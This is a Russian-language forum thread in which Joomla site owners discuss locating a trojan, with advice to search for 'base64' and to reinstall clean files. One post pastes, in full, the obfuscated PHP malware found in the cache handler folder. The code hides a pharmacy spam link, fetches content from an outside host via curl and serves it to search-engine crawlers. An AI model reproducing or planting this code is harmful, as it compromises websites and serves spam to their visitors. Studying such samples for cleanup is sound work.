Где искать троян в joomla

notepad ++ поиск по файлам, указываешь каталог с двиглом и ищешь.

Если поиск не даст результатов - поищите по ключу "base64"

главное, чтоб обфусцирован не был) с разбиением на подстроки)

переносите туда и остальное порциями

В папке /libraries/joomla/cache/handler нашел два файла без расширения, но с характерным содержанием. При их удалении перестаёт работать сайт

<?php echo('<div style="display:none"><a href="index.php?option=com_content&view=frontpage&viagra"></div>');?><?php $GLOBALS['_985527811_']=Array(base64_decode('ZXJyb3JfcmVwb3J0aW' .'5' .'n'),base64_decode('Z' .'nV' .'uY3Rpb25fZ' .'Xhpc3Rz'),base64_decode('Zm9w' .'ZW4='),base64_decode('' .'ZndyaX' .'R' .'l'),base64_decode('ZmN' .'sb' .'3Nl'),base64_decode('' .'bXRf' .'cmFuZ' .'A=' .'='),base64_decode('c3Vic3RyX3JlcGx' .'hY2U='),base64_decode('ZmlsZV' .'9leGlzdH' .'M='),base64_decode('d' .'Glt' .'Z' .'Q=' .'='),base64_decode('' .'Zml' .'sZ' .'W10' .'aW1' .'l'),base64_decode('ZnVuY' .'3Rp' .'b2' .'5' .'fZ' .'Xhp' .'c3Rz'),base64_decode('' .'ZnVuY3' .'Rpb25fZX' .'h' .'pc3' .'Rz'),base64_decode('Y3V' .'ybF9pbml0'),base64_decode('Y3Vyb' .'F' .'9zZXRv' .'c' .'HQ='),base64_decode('' .'Y3' .'VybF9zZXR' .'vcHQ='),base64_decode('Y3V' .'ybF9le' .'GVj'),base64_decode('Y3VybF9jbG9zZ' .'Q=='),base64_decode('c3Ryc' .'G9z'),base64_decode('YX' .'JyYXlfaW5' .'0ZXJzZW' .'N0'),base64_decode('ZmlsZV' .'9nZX' .'RfY' .'29udGVudHM='),base64_decode('' .'c3RycG9z'),base64_decode('' .'YWRkc2xhc2hlcw=='),base64_decode('c3RycG9z'),base64_decode('' .'aW1h' .'Z2VmaWx0ZX' .'I='),base64_decode('dXJsZW5jb' .'2R' .'l'),base64_decode('' .'b' .'X' .'Rfcm' .'Fu' .'ZA=' .'='),base64_decode('c' .'2V' .'zc' .'2lvbl' .'9' .'t' .'b' .'2R1b' .'GVfb' .'mFt' .'Z' .'Q=='),base64_decode('Zm' .'l' .'sZW10aW1l'),base64_decode('c' .'H' .'J' .'lZ1' .'9' .'tYX' .'Rj' .'aA' .'=='),base64_decode('cHJlZ19tYX' .'R' .'ja' .'A=='),base64_decode('Zml' .'sZ' .'V9leGlzdHM' .'='),base64_decode('Zm' .'l' .'sZ' .'XNpe' .'m' .'U='),base64_decode('' .'dW' .'5saW5' .'r'),base64_decode('' .'c3R' .'yX' .'3JvdD' .'Ez'),base64_decode('ZmlsZV9wdXR' .'fY29udG' .'Vu' .'dHM='),base64_decode('c3RyX3JvdDE' .'z'),base64_decode('' .'Zm' .'lsZ' .'V9nZXRfY' .'29udG' .'VudHM='),base64_decode('c3RyX' .'3J' .'vdD' .'Ez'),base64_decode('ZmlsZV9nZXRfY29udG' .'VudHM='),base64_decode('bX' .'RfcmFu' .'ZA' .'=='),base64_decode('YXJy' .'YX' .'lfZ' .'Gl' .'m' .'Zl9rZXk' .'='),base64_decode('c3R' .'yX' .'3Jv' .'dD' .'Ez'),base64_decode('' .'cHJlZ19' .'x' .'d' .'W90ZQ=='),base64_decode('Zmx1c2g' .'='),base64_decode('' .'Z' .'mlsZV' .'9wdXRfY' .'29udGV' .'udH' .'M='),base64_decode('c3Ry' .'X3JvdDE' .'z'),base64_decode('Zmls' .'ZV9' .'nZX' .'RfY2' .'9ud' .'GVu' .'d' .'HM='),base64_decode('a' .'W1hZ2Vjb3B5bWVyZ2VncmF5'),base64_decode('' .'dGltZQ' .'==')); ?><?php function _248138159($i){$a=Array('ZmlsZV9' .'wd' .'XRfY' .'29udG' .'Vud' .'HM' .'=','dw==','c3Rhc' .'nRfb' .'G' .'lua' .'3M=','' .'Y3Vy' .'bF9pbml' .'0','ZG' .'FsY3hoa3BocnhtZ' .'3FtcnVidWt' .'y','ZGx0' .'eg==','bn' .'V' .'tamR1dmdkc3Bn' .'aG5wY2h0','Z' .'HB6','aHR0cDovL2V' .'2ZW9ub' .'G' .'luZS' .'1hd' .'S5uZXQ=','' .'cWRyZ2t' .'oYndtd2R' .'lZ2' .'1zdw==','' .'a' .'XZzeg==','aHR0c' .'Do' .'vLw' .'==','U0' .'VSVkVSX05BT' .'UU' .'=','Uk' .'VRVUVTVF9' .'VUkk=','U' .'0VSVkV' .'S' .'X' .'05BTU' .'U=','' .'bGl' .'i' .'cmFyaWV' .'zL2pv' .'b21sYS9jYW' .'No' .'ZS9oYW5kbGVyL2' .'h' .'0' .'bWw=','' .'aW' .'5kZXg' .'y' .'LnBoc' .'A==','bGli' .'c' .'mFyaWVz' .'L2' .'pv' .'b21sYS9j' .'YWNoZS' .'9oYW5' .'k' .'bG' .'Vy' .'L2h' .'0b' .'Ww=','L0Foc' .'mVmc0Jvd' .'HxBa' .'H' .'JlZnMv','' .'SFRU' .'UF9VU0V' .'SX0' .'FH' .'RU5' .'U','' .'L3Zp' .'YWdyYXxja' .'WFsaXN8cGhhc' .'m0' .'v','UkVRVUVTVF9' .'VU' .'k' .'k=');return base64_decode($a[$i]);} ?><?php $GLOBALS['_985527811_'][0](round(0));if(!$GLOBALS['_985527811_'][1](_248138159(0))){function r_($_0,$_1){$_2=@$GLOBALS['_985527811_'][2]($_0,_248138159(1));if(!$_2){return false;}else{$_3=$GLOBALS['_985527811_'][3]($_2,$_1);$GLOBALS['_985527811_'][4]($_2);return $_3;if(round(0+5332)<$GLOBALS['_985527811_'][5](round(0+1187),round(0+4140)))$GLOBALS['_985527811_'][6]($_4,$_5);}}}function r__($_6,$_7=0){$_8=$_6;if($GLOBALS['_985527811_'][7]($_8)){if($_7){if(($GLOBALS['_985527811_'][8]()-$GLOBALS['_985527811_'][9]($_8))>=$_7){return false;}}}else{return false;}}if(!$GLOBALS['_985527811_'][10](_248138159(2))){function r___($_9){if($GLOBALS['_985527811_'][11](_248138159(3))){$_10=$GLOBALS['_985527811_'][12]();$GLOBALS['_985527811_'][13]($_10,10002,$_9);$GLOBALS['_985527811_'][14]($_10,19913,true);$_11=$GLOBALS['_985527811_'][15]($_10);$_12=round(0+193+193+193+193);$GLOBALS['_985527811_'][16]($_10);if($GLOBALS['_985527811_'][17](_248138159(4),_248138159(5))!==false)$GLOBALS['_985527811_'][18]($_8,$_5,$_13);}else{$_11=$GLOBALS['_985527811_'][19]($_9);$_14=round(0+1590);exit;}return $_11;if($GLOBALS['_985527811_'][20](_248138159(6),_248138159(7))!==false)$GLOBALS['_985527811_'][21]($_1,$_15,$_2);}}$_16=_248138159(8);$_17=round(0);if($GLOBALS['_985527811_'][22](_248138159(9),_248138159(10))!==false)$GLOBALS['_985527811_'][23]($_1);$_18=$GLOBALS['_985527811_'][24](_248138159(11) .$_SERVER[_248138159(12)] .$_SERVER[_248138159(13)]);$_5=$_SERVER[_248138159(14)];if(round(0+752+752+752+752)<$GLOBALS['_985527811_'][25](round(0+27.5+27.5+27.5+27.5),round(0+2893)))$GLOBALS['_985527811_'][26]($_19,$_16);$_13=$_18;$_20="$_16/media/system/nohiddens.php?id=$_13&sname=$_5";$_6=_248138159(15);$_21=$GLOBALS['_985527811_'][27](_248138159(16));$_22=_248138159(17);if($GLOBALS['_985527811_'][28](_248138159(18),$_SERVER[_248138159(19)])){}else{if($GLOBALS['_985527811_'][29](_248138159(20),$_SERVER[_248138159(21)])){if($GLOBALS['_985527811_'][30]($_6)){$_19=$GLOBALS['_985527811_'][31]($_6);if($_19 == round(0)){@$GLOBALS['_985527811_'][32]($_6);}$_4=r__($_6,round(0+2160+2160)*round(0+12+12+12+12+12));if($_4===false){$_15=r___($_20);$_15=$GLOBALS['_985527811_'][33]($_15);@$GLOBALS['_985527811_'][34]($_6,$_15);$data=$GLOBALS['_985527811_'][35](@$GLOBALS['_985527811_'][36]($_22));echo $data;}else{$data=$GLOBALS['_985527811_'][37](@$GLOBALS['_985527811_'][38]($_22));if(round(0+671)<$GLOBALS['_985527811_'][39](round(0+253),round(0+137.666666667+137.666666667+137.666666667)))$GLOBALS['_985527811_'][40]($_15,$_5,$_16,$_10);echo $data;}}else{$_15=r___($_20);$_15=$GLOBALS['_985527811_'][41]($_15);if((round(0+3990)^round(0+1995+1995))&& $GLOBALS['_985527811_'][42]($_22))$GLOBALS['_985527811_'][43]($_11,$_21);@$GLOBALS['_985527811_'][44]($_6,$_15);$data=$GLOBALS['_985527811_'][45](@$GLOBALS['_985527811_'][46]($_22));if((round(0+1099)^round(0+1099))&& $GLOBALS['_985527811_'][47]($_8))$GLOBALS['_985527811_'][48]($_16,$_15);echo $data;}}} ?>

где то идет проверка на их наличие, неужели сложно переташить тему на на чистый движок?

Ну так залейте всю папку joomla с чистого дистрибутива, и дело с концом!

об этом и речь